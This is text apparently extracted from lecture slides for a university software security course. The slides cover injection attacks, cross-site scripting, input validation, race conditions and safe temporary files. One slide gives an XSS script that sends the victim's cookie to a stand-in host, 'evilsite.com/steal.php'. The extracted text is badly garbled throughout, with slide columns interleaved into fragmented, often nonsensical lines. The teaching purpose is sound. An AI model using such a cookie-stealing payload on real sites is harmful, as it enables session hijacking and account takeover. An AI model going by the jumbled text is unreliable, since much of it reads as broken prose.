CSCI262 Software Secuurity
CSCI262 Software Secuurity
CSCI262 Software Secuurity
Software Security
Overview
CWE/SANS
Top 25 Most
Dangerous
Software
Errors
Insecure Interaction Between
Components
Failure to Preserve Web Page Structure ('Cross-site Scripting')
Failure to Preserve SQL Query Structure (aka 'SQL Injection')
Cross-Site Request Forgery (CSRF)
Unrestricted Upload of File with Dangerous Type
Failure to Preserve OS Command Structure (aka 'OS Command
Injection')
Information Exposure Through an Error Message
URL Redirection to Untrusted Site ('Open Redirect')
Race Condition
Risky Resource Management
improper
Invalidated Cross-site Buffer Injection
error
Input scripting overflow flaws
handling
Software Security,
Quality and Reliability
software quality and software security:
reliability:
attacker chooses
concerned with the accidental probability distribution,
failure of program as a result of specifically targeting bugs
some theoretically random, that result in a failure that
unanticipated input, system can be exploited by the
interaction, or use of incorrect
code attacker
improve using structured triggered by inputs that
design and testing to identify differ dramatically from
and eliminate as many bugs as what is usually expected
possible from a program
unlikely to be identified by
concern is not how many bugs, common testing
but how often they are approaches
triggered
Software Security
Figure 11.1
Defensive programming
explicitly validate
must identify all assumptions on size
data sources and type of values
before use
Input Size & Buffer Overflow
programmers often make assumptions about the maximum
expected size of input
allocated buffer size is not confirmed
resulting in buffer overflow
This changes the pwd value in the user table for the user
‘pankaj’
25
Injection attacks
Input manipulation: SQL injection attack example contd.
This changes the pwd value in the usertable for the user
‘administrator’!!
28
Injection attacks
Input manipulation: LDAP injection attack example.
29
Risks and controls
Input manipulation: LDAP injection attack example contd.
30
Risks and controls: Application-specific input attacks.
31
Injection attacks
Input manipulation: Application-specific input attacks.
HTTP headers and HTML form fields can easily be
manipulated by end users.
32
Injection attacks
Input manipulation risks:
Input manipulation can lead to malfunctioning, user
impersonation, loss of sensitive data, etc.
Controls:
commonly seen in
scripted Web XSS reflection
applications vulnerability
exploit assumption
• vulnerability involves the
inclusion of script code in that all content from • attacker includes the
attacks where input malicious script content
the HTML content one site is equally
provided by one in data supplied to a site
• script code may need to trusted and hence is
user is subsequently access data associated permitted to
output to another with other pages
• browsers impose security interact with other
user
checks and restrict data content from the
access to pages site
originating from the
same site
user’s cookie is
XSS supplied to the
attacker who could
Example then use it to
impersonate the
user on the original
site
to prevent this
attack any user
supplied input
should be
examined and any
dangerous code
removed or
escaped to block its
execution
Cross Site Scripting (XSS)
• Attack 2
<script>
img = new Image();
img.src = "http://www.evilsite.com/steal.php?cookie=" + document.cookie;
</script>
it is necessary
by only
to ensure that alternative is
input data accepting
data conform to compare the
should be known safe
with any input data with
compared data the
assumptions known
against what is program is
made about dangerous
wanted more likely to
the data before values
remain secure
subsequent use
Validating input syntax
a userid,
an e-mail address,
It may be:
explicitly coded by the programmer
or may be implicitly included in a supplied input processing
routine.
Regular expression
Another approach :
growing requirement to
support users around the
may have multiple means of
globe and to interact with
encoding text
them using their own
languages
security issues:
memory leak
steady reduction in memory available on the heap to the point
where it is completely exhausted (DoS)
deadlock
processes or threads wait on a resource held by the other
one or more programs has to be terminated
Operating System Interaction
programs execute on systems under the control of an
operating system
mediates and shares access to resources
constructs execution environment
includes environment variables and arguments
least privilege
• run programs with least privilege needed to complete their
function
lockfile
process must create and own the lockfile in order to gain
access to the shared resource
concerns
if a program chooses to ignore the existence of the lockfile and
access the shared resource the system will not prevent this
all programs using this form of synchronization must cooperate
implementation
Perl File Locking Example
Safe Temporary Files
The attacker then attempts to create a file with that name in the
interval between the program checking the file does not exist
and subsequently creating it.
This is another example of a race condition, very similar to
that when two processes race to access a shared file when
locks are not used.
There is a famous example, reported in [WHEE03], of some
versions of the tripwire file integrity program suffering from
this bug.
The attacker would write a script that made repeated guesses on
the temporary filename used and create a symbolic link from that
name to the password file. Access to the password file was
restricted, so the attacker could not write to it.
Safe temporary files